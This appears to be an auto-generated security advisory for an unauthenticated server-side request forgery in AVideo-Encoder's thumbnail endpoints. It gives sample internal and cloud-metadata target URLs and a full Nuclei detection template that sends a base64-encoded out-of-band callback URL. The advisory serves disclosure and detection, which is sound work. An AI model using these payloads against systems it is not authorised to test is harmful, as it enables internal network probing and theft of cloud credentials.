CVE-2026-33024: WWBN AVideo-Encoder advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

AVideo is a video-sharing Platform. Versions prior to 8.0 contain a Server-Side Request Forgery vulnerability (CWE-918) in the public thumbnail endpoints getImage.php and getImageMP4.php. Both endpoints accept a base64Url GET parameter, base64-decode it, and pass the resulting URL to ffmpeg as an input source without any authentication requirement. The prior validation only checked that the URL was syntactically valid (FILTER_VALIDATE_URL) and started with http(s)://. This is insufficient: an attacker can supply URLs such as http://169.254.169.254/latest/meta-data/ (AWS/cloud instance metadata), http://192.168.x.x/, or http://127.0.0.1/ to make the server reach internal network resources. The response is not directly returned (blind), but timing differences and error logs can be used to infer results. The issue has been fixed in version 8.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-03-20).

Weakness: CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-13557

VEDAS cluster: VEDAS:DAMASKDEER

Exploit Observer links 2 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (2)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (2)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-13557
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-33024

1 more reference returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.004
low predicted chance of attack
VEDAS: 0.978
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei

Who is affected

Product	Affected	Not affected
WWBN AVideo-Encoder	version < 8.0	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: wwbn avideo-encoder.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

AVideo Encoder - Unauthenticated Server-Side Request Forgery
AVideo Encoder before 8.0 exposes the public thumbnail endpoints getImage.php and getImageMP4.php without authentication. Both accept a base64Url GET parameter, base64-decode it, and pass the resulting URL to ffmpeg as an input source. The prior validation only confirmed the decoded value was a syntactically valid http(s) URL, so an unauthenticated attacker can supply a URL pointing at internal or external hosts and make the Encoder issue server-side requests to it (SSRF). This template base64-encodes a unique out-of-band collaborator URL, submits it to the thumbnail endpoints, and confirms the vulnerability when the Encoder performs the resulting DNS/HTTP request to that collaborator.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /getImage.php?base64Url={{base64(, GET /getImageMP4.php?base64Url={{base64(, GET /Encoder/getImage.php?base64Url={{base64(); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-33024.yaml

Show the template (41 lines)

yaml

id: CVE-2026-33024

info:
  name: "AVideo Encoder - Unauthenticated Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    AVideo Encoder before 8.0 exposes the public thumbnail endpoints getImage.php and
    getImageMP4.php without authentication. Both accept a base64Url GET parameter, base64-decode
    it, and pass the resulting URL to ffmpeg as an input source. The prior validation only
    confirmed the decoded value was a syntactically valid http(s) URL, so an unauthenticated
    attacker can supply a URL pointing at internal or external hosts and make the Encoder issue
    server-side requests to it (SSRF). This template base64-encodes a unique out-of-band
    collaborator URL, submits it to the thumbnail endpoints, and confirms the vulnerability when
    the Encoder performs the resulting DNS/HTTP request to that collaborator.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-33024&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=avideo&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-33024
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,avideo,avideo-encoder,ssrf,oob,unauth
http:
  - method: GET
    path:
      - "{{BaseURL}}/getImage.php?base64Url={{base64('http://{{interactsh-url}}/')}}"
      - "{{BaseURL}}/getImageMP4.php?base64Url={{base64('http://{{interactsh-url}}/')}}"
      - "{{BaseURL}}/Encoder/getImage.php?base64Url={{base64('http://{{interactsh-url}}/')}}"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

CVE-2026-33024.yaml on GitHub

References

Other references

https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-h9gh-866r-6vgq (x_refsource_CONFIRM)
https://github.com/WWBN/AVideo-Encoder/commit/f9df098534a0e05fd431e771ac9d70f0f36f1c06 (x_refsource_MISC)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.